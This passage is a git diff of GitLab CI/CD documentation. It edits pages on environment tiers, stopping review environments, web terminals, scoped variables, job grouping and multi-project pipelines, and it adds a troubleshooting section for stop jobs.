specific -environment is used as production. +Sometimes, instead of using an [industry standard](https://en.wikipedia.org/wiki/Deployment_environment) +environment name, like `production`, you might want to use a code name, like `customer-portal`. +While there is no technical reason not to use a name like `customer-portal`, the name +no longer indicates that the environment is used for production. -To keep information that a specific environment is for production or -some other use, you can set one of the following tiers to each environment: +To indicate that a specific environment is for a specific use, +you can use tiers: -| Environment tier | Environment names examples | -| ---- | -------- | -| `production` | Production, Live | -| `staging` | Staging, Model, Pre, Demo | -| `testing` | Test, QC | -| `development` | Dev, [Review apps](../review_apps/index.md), Trunk | -| `other` | | +| Environment tier | Environment name examples | +|------------------|----------------------------------------------------| +| `production` | Production, Live | +| `staging` | Staging, Model, Pre, Demo | +| `testing` | Test, QC | +| `development` | Dev, [Review apps](../review_apps/index.md), Trunk | +| `other` | | -By default, an approximate tier is automatically guessed and set from [the environment name](../yaml/README.md#environmentname). -Alternatively, you can specify a specific tier with `deployment_tier` keyword, -see the [`.gitlab-ci.yml` syntax reference](../yaml/README.md#environmentdeployment_tier) for more details. +By default, GitLab assumes a tier based on [the environment name](../yaml/README.md#environmentname). +Instead, you can use the [`deployment_tier` keyword](../yaml/README.md#environmentdeployment_tier) to specify a tier. ## Configure manual deployments @@ -208,8 +205,8 @@ deploy: ``` When you use the GitLab Kubernetes integration to deploy to a Kubernetes cluster, -cluster and namespace information is displayed above the job -trace on the deployment job page: +you can view cluster and namespace information. On the deployment +job page, it's displayed above the job trace:  @@ -253,7 +250,7 @@ GitLab supports the [dotenv (`.env`)](https://github.com/bkeepers/dotenv) file f and expands the `environment:url` value with variables defined in the `.env` file. To use this feature, specify the -[`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`. +[`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Set dynamic URLs after a job finished](https://youtu.be/70jDXtOf4Ig). @@ -261,7 +258,7 @@ For an overview, see [Set dynamic URLs after a job finished](https://youtu.be/70 ### Example of setting dynamic environment URLs The following example shows a Review App that creates a new environment -per merge request. The `review` job is triggered by every push, and +for each merge request. The `review` job is triggered by every push, and creates or updates an environment named `review/your-branch-name`. The environment URL is set to `$DYNAMIC_ENVIRONMENT_URL`: @@ -349,7 +346,7 @@ places in GitLab: You can see this information in a merge request if: -- The merge request is eventually merged to the default branch (usually `master`). +- The merge request is eventually merged to the default branch (usually `main`). - That branch also deploys to an environment (for example, `staging` or `production`). For example: @@ -377,13 +374,7 @@ deleted. You can configure environments to stop when a branch is deleted. The following example shows a `deploy_review` job that calls a `stop_review` job -to clean up and stop the environment. The `stop_review` job must be in the same -`stage` as the `deploy_review` job. - -Both jobs must have the same [`rules`](../yaml/README.md#onlyexcept-basic) -or [`only/except`](../yaml/README.md#onlyexcept-basic) configuration. Otherwise, -the `stop_review` job might not be included in all pipelines that include the -`deploy_review` job, and you cannot trigger `action: stop` to stop the environment automatically. +to clean up and stop the environment. ```yaml deploy_review: @@ -409,6 +400,14 @@ stop_review: when: manual ``` +Both jobs must have the same [`rules`](../yaml/README.md#onlyexcept-basic) +or [`only/except`](../yaml/README.md#onlyexcept-basic) configuration. Otherwise, +the `stop_review` job might not be included in all pipelines that include the +`deploy_review` job, and you cannot trigger `action: stop` to stop the environment automatically. + +The job with [`action: stop` might not run](#the-job-with-action-stop-doesnt-run) +if it's in a later stage than the job that started the environment. + If you can't use [pipelines for merge requests](../merge_request_pipelines/index.md), set the [`GIT_STRATEGY`](../runners/README.md#git-strategy) to `none` in the `stop_review` job. Then the [runner](https://docs.gitlab.com/runner/) doesn't @@ -430,7 +429,7 @@ Due to resource limitations, a background worker for stopping environments only every hour. This means that environments aren't stopped at the exact timestamp specified, but are instead stopped when the hourly cron worker detects expired environments. -In the following example, each merge request creates a new Review App environment. +In the following example, each merge request creates a Review App environment. Each push triggers the `review_app` job and an environment named `review/your-branch-name` is created or updated. The environment runs until `stop_review_app` is executed: @@ -477,7 +476,7 @@ You can manually override a deployment's expiration date. 1. Go to the project's **Operations > Environments** page. 1. Select the deployment name. -1. In the top right, select the thumbtack (**{thumbtack}**). +1. On the top right, select the thumbtack (**{thumbtack}**).  @@ -497,19 +496,17 @@ To delete a stopped environment in the GitLab UI: 1. Next to the environment you want to delete, select **Delete environment**. 1. On the confirmation dialog box, select **Delete environment**. -### Prepare an environment +### Prepare an environment without creating a deployment > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208655) in GitLab 13.2. -By default, GitLab creates a deployment every time a -build with the specified environment runs. Newer deployments can also -[cancel older ones](deployment_safety.md#skip-outdated-deployment-jobs). +By default, when GitLab CI/CD runs a job for a specific environment, it +triggers a deployment and [(optionally) cancels outdated +deployments](deployment_safety.md#ensure-only-one-deployment-job-runs-at-a-time). -You may want to specify an environment keyword to -[protect builds from unauthorized access](protected_environments.md), or to get -access to [environment-scoped variables](#scoping-environments-with-specs). In these cases, -you can use the `action: prepare` keyword to ensure deployments aren't created, -and no builds are canceled: +To use an environment without creating a new deployment, and without +cancelling outdated deployments, append the keyword `action: prepare` to your +job: ```yaml build: @@ -522,9 +519,10 @@ build: url: https://staging.example.com ``` -### Group similar environments +This gives you access to [environment-scoped variables](#scoping-environments-with-specs), +and can be used to [protect builds from unauthorized access](protected_environments.md). -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7015) in GitLab 8.14. +### Group similar environments You can group environments into collapsible sections in the UI. @@ -547,10 +545,9 @@ deploy_review: ### Environment incident management -You have successfully setup a Continuous Delivery/Deployment workflow in your project. Production environments can go down unexpectedly, including for reasons outside -of your own control. For example, issues with external dependencies, infrastructure, -or human error can cause major issues with an environment. This could include: +of your control. For example, issues with external dependencies, infrastructure, +or human error can cause major issues with an environment. Things like: - A dependent cloud service goes down. - A 3rd party library is updated and it's not compatible with your application. @@ -572,7 +569,7 @@ severity is shown, so you can identify which environments need immediate attenti  When the issue that triggered the alert is resolved, it is removed and is no -longer visible on the environment page. +longer visible on the environments page. If the alert requires a [rollback](#retry-or-roll-back-a-deployment), you can select the deployment tab from the environment page and select which deployment to roll back to. @@ -584,7 +581,7 @@ deployment tab from the environment page and select which deployment to roll bac In a typical Continuous Deployment workflow, the CI pipeline tests every commit before deploying to production. However, problematic code can still make it to production. For example, inefficient code that is logically correct can pass tests even though it causes severe performance degradation. -Operators and SREs monitor the system to catch such problems as soon as possible. If they find a +Operators and SREs monitor the system to catch these problems as soon as possible. If they find a problematic deployment, they can roll back to a previous stable version. GitLab Auto Rollback eases this workflow by automatically triggering a rollback when a @@ -599,54 +596,49 @@ Limitations of GitLab Auto Rollback: GitLab Auto Rollback is turned off by default. To turn it on: -1. Visit **Project > Settings > CI/CD > Automatic deployment rollbacks**. +1. Go to **Project > Settings > CI/CD > Automatic deployment rollbacks**. 1. Select the checkbox for **Enable automatic rollbacks**. -1. Click **Save changes**. +1. Select **Save changes**. ### Monitoring environments -If you have enabled [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md), -you can monitor the behavior of your app running in each environment. For the monitoring -dashboard to appear, you need to Configure Prometheus to collect at least one +To monitor the behavior of your app as it runs in each environment, +enable [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md). +For the monitoring dashboard to appear, configure Prometheus to collect at least one [supported metric](../../user/project/integrations/prometheus_library/index.md). -In GitLab 9.2 and later, all deployments to an environment are shown directly on the monitoring dashboard. +All deployments to an environment are shown on the monitoring dashboard. +You can view changes in performance for each version of your application. -Once configured, GitLab attempts to retrieve [supported performance metrics](../../user/project/integrations/prometheus_library/index.md) +GitLab attempts to retrieve [supported performance metrics](../../user/project/integrations/prometheus_library/index.md) for any environment that has had a successful deployment. If monitoring data was successfully retrieved, a **Monitoring** button appears for each environment. -Clicking the **Monitoring** button displays a new page showing up to the last -8 hours of performance data. It may take a minute or two for data to appear -after initial deployment. - -All deployments to an environment are shown directly on the monitoring dashboard, -which allows easy correlation between any changes in performance and new -versions of the app, all without leaving GitLab. +To view the last eight hours of performance data, select the **Monitoring** button. +It may take a minute or two for data to appear after initial deployment.  #### Embedding metrics in GitLab Flavored Markdown -Metric charts can be embedded within GitLab Flavored Markdown. See [Embedding Metrics within GitLab Flavored Markdown](../../operations/metrics/embed.md) for more details. +Metric charts can be embedded in GitLab Flavored Markdown. See [Embedding Metrics in GitLab Flavored Markdown](../../operations/metrics/embed.md) for more details. ### Web terminals -> Web terminals were added in GitLab 8.15 and are only available to project Maintainers and Owners. - If you deploy to your environments with the help of a deployment service (for example, the [Kubernetes integration](../../user/project/clusters/index.md)), GitLab can open -a terminal session to your environment. +a terminal session to your environment. You can then debug issues without leaving your web browser. -This is a powerful feature that allows you to debug issues without leaving the comfort -of your web browser. To enable it, follow the instructions given in the service integration -documentation. +The Web terminal is a container-based deployment, which often lack basic tools (like an editor), +and can be stopped or restarted at any time. If this happens, you lose all your +changes. Treat the Web terminal as a debugging tool, not a comprehensive online IDE. -Note that container-based deployments often lack basic tools (like an editor), and may -be stopped or restarted at any time. If this happens, you lose all your -changes. Treat this as a debugging tool, not a comprehensive online IDE. +Web terminals: -Once enabled, your environments display a **Terminal** button: +- Are available to project Maintainers and Owners only. +- Must [be enabled](../../administration/integration/terminal.md). + +In the UI, you can view the Web terminal by selecting a **Terminal** button:  @@ -654,8 +646,7 @@ You can also access the terminal button from the page for a specific environment  -Wherever you find it, clicking the button takes you to a separate page to -establish the terminal session: +Select the button to establish the terminal session:  @@ -664,14 +655,14 @@ by your deployment so you can: - Run shell commands and get responses in real time. - Check the logs. -- Try out configuration or code tweaks etc. +- Try out configuration or code tweaks. -You can open multiple terminals to the same environment, they each get their own shell +You can open multiple terminals to the same environment. They each get their own shell session and even a multiplexer like `screen` or `tmux`. ### Check out deployments locally -In GitLab 8.13 and later, a reference in the Git repository is saved for each deployment, so +A reference in the Git repository is saved for each deployment, so knowing the state of your current environments is only a `git fetch` away. In your Git configuration, append the `[remote "<your-remote>"]` block with an extra @@ -688,24 +679,23 @@ fetch = +refs/environments/*:refs/remotes/origin/environments/* You can limit the environment scope of a CI/CD variable by defining which environments it can be available for. +For example, if the environment scope is `production`, then only the jobs +with the environment `production` defined would have this specific variable. -Wildcards can be used and the default environment scope is `*`. This means that -any jobs can have this variable regardless of whether an environment is defined. +The default environment scope is a wildcard (`*`), which means that +any job can have this variable, regardless of whether an environment is defined. -For example, if the environment scope is `production`, then only the jobs -having the environment `production` defined would have this specific variable. -Wildcards (`*`) can be used along with the environment name, therefore if the -environment scope is `review/*` then any jobs with environment names starting -with `review/` would have that particular variable. +If the environment scope is `review/*`, then jobs with environment names starting +with `review/` would have that variable available. Some GitLab features can behave differently for each environment. For example, you can -[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-cicd-variables). +[create a project CI/CD variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scope-of-a-cicd-variable). In most cases, these features use the _environment specs_ mechanism, which offers -an efficient way to implement scoping within each environment group. +an efficient way to implement scoping in each environment group. -Let's say there are four environments: +For example, if there are four environments: - `production` - `staging` @@ -722,11 +712,11 @@ Each environment can be matched with the following environment spec: | review/* | | | Matched | Matched | | review/feature-1 | | | Matched | | -As you can see, you can use specific matching for selecting a particular environment, -and also use wildcard matching (`*`) for selecting a particular environment group, -such as [Review Apps](../review_apps/index.md) (`review/*`). +You can use specific matching to select a particular environment. +You can also use wildcard matching (`*`) to select a particular environment group, +like [Review Apps](../review_apps/index.md) (`review/*`). -Note that the most _specific_ spec takes precedence over the other wildcard matching. In this case, +The most specific spec takes precedence over the other wildcard matching. In this case, the `review/feature-1` spec takes precedence over `review/*` and `*` specs. ## Related topics @@ -739,14 +729,68 @@ the `review/feature-1` spec takes precedence over `review/*` and `*` specs. environment's operational health. **(PREMIUM)** - [Deployment safety](deployment_safety.md#restrict-write-access-to-a-critical-environment): Secure your deployments. -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +## Troubleshooting + +### The job with `action: stop` doesn't run + +In some cases, environments do not [stop when a branch is deleted](#stop-an-environment-when-a-branch-is-deleted). + +For example, the environment might start in a stage that also has a job that failed. +Then the jobs in later stages job don't start. If the job with the `action: stop` +for the environment is also in a later stage, it can't start and the environment isn't deleted. + +To ensure the `action: stop` can always run when needed, you can: + +- Put both jobs in the same stage: + + ```yaml + stages: + - build + - test + - deploy + + ... + + deploy_review: + stage: deploy + environment: + name: review/$CI_COMMIT_REF_NAME + url: https://$CI_ENVIRONMENT_SLUG.example.com + on_stop: stop_review + + stop_review: + stage: deploy + environment: + name: review/$CI_COMMIT_REF_NAME + action: stop + when: manual + ``` + +- Add a [`needs`](../yaml/README.md#needs) entry to the `action: stop` job so the + job can start out of stage order: + + ```yaml + stages: + - build + - test + - deploy + - cleanup + + ... + + deploy_review: + stage: deploy + environment: + name: review/$CI_COMMIT_REF_NAME + url: https://$CI_ENVIRONMENT_SLUG.example.com + on_stop: stop_review + + stop_review: + stage: cleanup + needs: + - deploy_review + environment: + name: review/$CI_COMMIT_REF_NAME + action: stop + when: manual + ``` diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index 9a639fde5f6..df0bb2817ab 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -66,8 +66,8 @@ Alternatively, you can use the API to protect an environment: when: manual script: - 'echo "Deploying to ${CI_ENVIRONMENT_NAME}"' - environment: - name: ${CI_JOB_NAME} + environment: + name: ${CI_JOB_NAME} ``` 1. Use the UI to [create a new group](../../user/group/index.md#create-a-group). diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index fc6807fd191..3238b062752 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -166,7 +166,7 @@ For examples of others who have implemented GitLab CI/CD, see: To see how you can integrate GitLab CI/CD with third-party systems, see: -- [Streamline and shorten error remediation with Sentry’s new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/) +- [Streamline and shorten error remediation with Sentry's new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/) - [How to simplify your smart home configuration with GitLab CI/CD](https://about.gitlab.com/blog/2018/08/02/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management/) - [Demo: GitLab + Jira + Jenkins](https://about.gitlab.com/blog/2018/07/30/gitlab-workflow-with-jira-jenkins/) - [Introducing Auto Breakfast from GitLab (sort of)](https://about.gitlab.com/blog/2018/06/29/introducing-auto-breakfast-from-gitlab/) diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md index 07bad3afc65..54e12cafa55 100644 --- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md +++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md @@ -83,7 +83,7 @@ multiple tests, such as making sure you are logged in. The function `it` defines an individual test. [The `browser` object](http://v4.webdriver.io/guide/testrunner/browserobject.html) is WebdriverIO's -special sauce. It provides most of [the WebdriverIO API methods](http://v4.webdriver.io/docs/api/) that are the key to +special sauce. It provides most of [the WebdriverIO API methods](http://v4.webdriver.io/api.html) that are the key to steering the browser. In this case, we can use [`browser.url`](http://v4.webdriver.io/api/protocol/url.html) to visit `/page-that-does-not-exist` to hit our 404 page. We can then use [`browser.getUrl`](http://v4.webdriver.io/api/property/getUrl.html) diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index 2acd7315630..5a5e44c03bf 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -532,7 +532,7 @@ That's a lot to take in, isn't it? Let's run through it step by step. [Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`. The `image` keyword tells the runners which image to use. -The `services` keyword defines additional images [that are linked to the main image](../../docker/using_docker_images.md#what-is-a-service). +The `services` keyword defines additional images [that are linked to the main image](../../services/index.md). Here we use the container image we created before as our main image and also use MySQL 5.7 as a service. ```yaml @@ -555,7 +555,7 @@ So we should adjust the configuration of MySQL instance by defining `MYSQL_DATAB Find out more about MySQL variables at the [official MySQL Docker Image](https://hub.docker.com/_/mysql). Also set the variables `DB_HOST` to `mysql` and `DB_USERNAME` to `root`, which are Laravel specific variables. -We define `DB_HOST` as `mysql` instead of `127.0.0.1`, as we use MySQL Docker image as a service which [is linked to the main Docker image](../../docker/using_docker_images.md#how-services-are-linked-to-the-job). +We define `DB_HOST` as `mysql` instead of `127.0.0.1`, as we use MySQL Docker image as a service which [is linked to the main Docker image](../../services/index.md#how-services-are-linked-to-the-job). ```yaml variables: diff --git a/doc/ci/jobs/img/collapsible_log_v12_6.png b/doc/ci/jobs/img/collapsible_log_v12_6.png Binary files differdeleted file mode 100644 index a1e9aeb244a..00000000000 --- a/doc/ci/jobs/img/collapsible_log_v12_6.png +++ /dev/null diff --git a/doc/ci/jobs/img/collapsible_log_v13_10.png b/doc/ci/jobs/img/collapsible_log_v13_10.png Binary files differnew file mode 100644 index 00000000000..23f06e97477 --- /dev/null +++ b/doc/ci/jobs/img/collapsible_log_v13_10.png diff --git a/doc/ci/jobs/img/manual_job_variables.png b/doc/ci/jobs/img/manual_job_variables.png Binary files differdeleted file mode 100644 index 63801ade21f..00000000000 --- a/doc/ci/jobs/img/manual_job_variables.png +++ /dev/null diff --git a/doc/ci/jobs/img/manual_job_variables_v13_10.png b/doc/ci/jobs/img/manual_job_variables_v13_10.png Binary files differnew file mode 100644 index 00000000000..af8223e0c30 --- /dev/null +++ b/doc/ci/jobs/img/manual_job_variables_v13_10.png diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index 0c5fa59da8e..1a31db09c92 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -137,24 +137,14 @@ The jobs are ordered by comparing the numbers from left to right. You usually want the first number to be the index and the second number to be the total. [This regular expression](https://gitlab.com/gitlab-org/gitlab/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99) -evaluates the job names: `\d+[\s:\/\\]+\d+\s*`. +evaluates the job names: `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`. +One or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences are removed from the **end** +of job names only. Matching substrings found at the beginning or in the middle of +job names are not removed. -### Improved job grouping - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52644) in GitLab 13.9. -> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's enabled on GitLab.com. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../administration/feature_flags.md). **(FREE SELF)** - -Job grouping is evaluated with an improved regular expression to group jobs by name: - -- `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`. - -The new implementation removes one or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences -from the **end** of job names only. - -Matching substrings occurring at the beginning or in the middle of build names are -no longer removed. +In [GitLab 13.8 and earlier](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52644), +the regular expression is `\d+[\s:\/\\]+\d+\s*`. [Feature flag](../../user/feature_flags.md) +removed in [GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/322080). ## Specifying variables when running manual jobs @@ -172,7 +162,7 @@ Add a variable name (key) and value here to override the value defined in [the UI or `.gitlab-ci.yml`](../variables/README.md#custom-cicd-variables), for a single run of the manual job. - + ## Delay a job @@ -200,10 +190,10 @@ the duration. In the following example: -- Two sections are collapsed and can be expanded. +- Three sections are collapsed and can be expanded. - Three sections are expanded and can be collapsed. - + ### Custom collapsible sections @@ -227,6 +217,9 @@ job1: - echo -e "\e[0Ksection_end:`date +%s`:my_first_section\r\e[0K" ``` +Depending on the shell that your runner uses, for example if it is using ZSH, you may need to +escape the special characters like so: `\\e` and `\\r`. + In the example above: - `date +%s`: The Unix timestamp (for example `1560896352`). diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index 7e76efe8b50..024155bdde7 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -197,7 +197,7 @@ could mistakenly trust the merge request because it passed a faked pipeline. Parent project members with at least [Developer permissions](../../user/permissions.md) can create pipelines in the parent project for merge requests from a forked project. In the merge request, go to the **Pipelines** and click -**Run Pipeline** button. +**Run pipeline** button. WARNING: Fork merge requests could contain malicious code that tries to steal secrets in the diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index edfedbc2527..b8ddc547156 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -73,7 +73,7 @@ To enable merge trains: - You must have maintainer [permissions](../../../../user/permissions.md). - You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later. -- In GitLab 12.0 and later, you need [Redis](https://redis.io/) 3.2 or later. +- In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later. - Your repository must be a GitLab repository, not an [external repository](../../../ci_cd_for_external_repos/index.md). diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md index ed14e61c54b..47236668e89 100644 --- a/doc/ci/metrics_reports.md +++ b/doc/ci/metrics_reports.md @@ -37,7 +37,7 @@ For an MR, the values of these metrics from the feature branch are compared to t ## How to set it up -Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format. +Add a job that creates a [metrics report](yaml/README.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format. For example: diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 0a44232efd3..b6c7bc6653f 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -265,7 +265,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-level-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 1424868401e..c7dd4a46137 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -305,7 +305,7 @@ my_job: In GitLab, we use the [`variables` keyword](../yaml/README.md#variables) to define different variables at runtime. These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/README.md), -including the section on [protected variables](../variables/README.md#protect-a-custom-variable) which can be used +including the section on [protected variables](../variables/README.md#protect-a-cicd-variable) which can be used to limit access to certain variables to certain environments or runners: ```yaml diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 9736f8c1418..28505fb7519 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -1,14 +1,13 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Multi-project pipelines +# Multi-project pipelines **(FREE)** -> - [Introduced](https://about.gitlab.com/releases/2015/08/22/gitlab-7-14-released/#build-triggers-api-gitlab-ci) in GitLab 7.14, as Build Triggers. -> - [Made available](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) in all tiers in GitLab 12.8. +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. You can set up [GitLab CI/CD](README.md) across multiple projects, so that a pipeline in one project can trigger a pipeline in another project. @@ -42,8 +41,6 @@ With Multi-Project Pipelines you can visualize the entire pipeline, including al ## Multi-project pipeline visualization **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2121) in [GitLab Premium 9.3](https://about.gitlab.com/releases/2017/06/22/gitlab-9-3-released/#multi-project-pipeline-graphs). - When you configure GitLab CI/CD for your project, you can visualize the stages of your [jobs](pipelines/index.md#configure-a-pipeline) on a [pipeline graph](pipelines/index.md#visualize-pipelines). @@ -56,8 +53,7 @@ and when hovering or tapping (on touchscreen devices) they expand and are shown ## Triggering multi-project pipelines through API -> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2017) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3. -> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [made available](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) in all tiers in GitLab 12.4. +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) to GitLab Free in 12.4. When you use the [`CI_JOB_TOKEN` to trigger pipelines](triggers/README.md#ci-job-token), GitLab recognizes the source of the job token, and thus internally ties these pipelines @@ -76,8 +72,7 @@ When using: ## Creating multi-project pipelines from `.gitlab-ci.yml` -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8. -> - [Made available](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) in all tiers in 12.8. +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. ### Triggering a downstream pipeline using a bridge job @@ -220,7 +215,7 @@ the ones defined in the upstream project take precedence. #### With variable inheritance -You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-cicd-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs). +You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#pass-an-environment-variable-to-another-job) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs). In the upstream pipeline: @@ -260,7 +255,7 @@ test: ### Mirroring status from triggered pipeline -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in GitLab Premium 12.3. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. You can mirror the pipeline status from the triggered pipeline to the source @@ -309,7 +304,7 @@ Some features are not implemented yet. For example, support for environments. ## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.8. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab Premium 12.8. You can trigger a pipeline in your project whenever a pipeline finishes for a new tag in a different project: @@ -324,8 +319,9 @@ now trigger a pipeline on the current project's default branch. The maximum number of upstream pipeline subscriptions is 2 by default, for both the upstream and downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator. -The upstream project needs to be [public](../public_access/public_access.md) for -pipeline subscription to work. +The upstream project needs to be [public](../public_access/public_access.md) +and the user must have [developer permissions](../user/permissions.md#project-members-permissions) +for the upstream project. ## Downstream private projects confidentiality concern diff --git a/doc/ci/pipeline_editor/index.md b/doc/ci/pipeline_editor/index.md index aabdc6cd36b..57aea5d493b 100644 --- a/doc/ci/pipeline_editor/index.md +++ b/doc/ci/pipeline_editor/index.md @@ -10,11 +10,8 @@ type: reference > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4540) in GitLab 13.8. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/270059) in GitLab 13.10. -WARNING: -This feature might not be available to you. Check the **version history** note above for details. - The pipeline editor is the primary place to edit the GitLab CI/CD configuration in -your `.gitlab-ci.yml` file. To access it, go to **CI/CD > Editor**. +the `.gitlab-ci.yml` file in the root of your repository. To access the editor, go to **CI/CD > Editor**. From the pipeline editor page you can: @@ -25,8 +22,7 @@ From the pipeline editor page you can: - View an [expanded](#view-expanded-configuration) version of your configuration. - [Commit](#commit-changes-to-ci-configuration) the changes to a specific branch. -NOTE: -You must already have [a `.gitlab-ci.yml` file](../quick_start/index.md#create-a-gitlab-ciyml-file) +In GitLab 13.9 and earlier, you must already have [a `.gitlab-ci.yml` file](../quick_start/index.md#create-a-gitlab-ciyml-file) on the default branch of your project to use the editor. ## Validate CI configuration diff --git a/doc/ci/pipelines/img/job_artifacts_browser.png b/doc/ci/pipelines/img/job_artifacts_browser.png Binary files differdeleted file mode 100644 index d3d8de5ac60..00000000000 --- a/doc/ci/pipelines/img/job_artifacts_browser.png +++ /dev/null diff --git a/doc/ci/pipelines/img/job_artifacts_browser_button.png 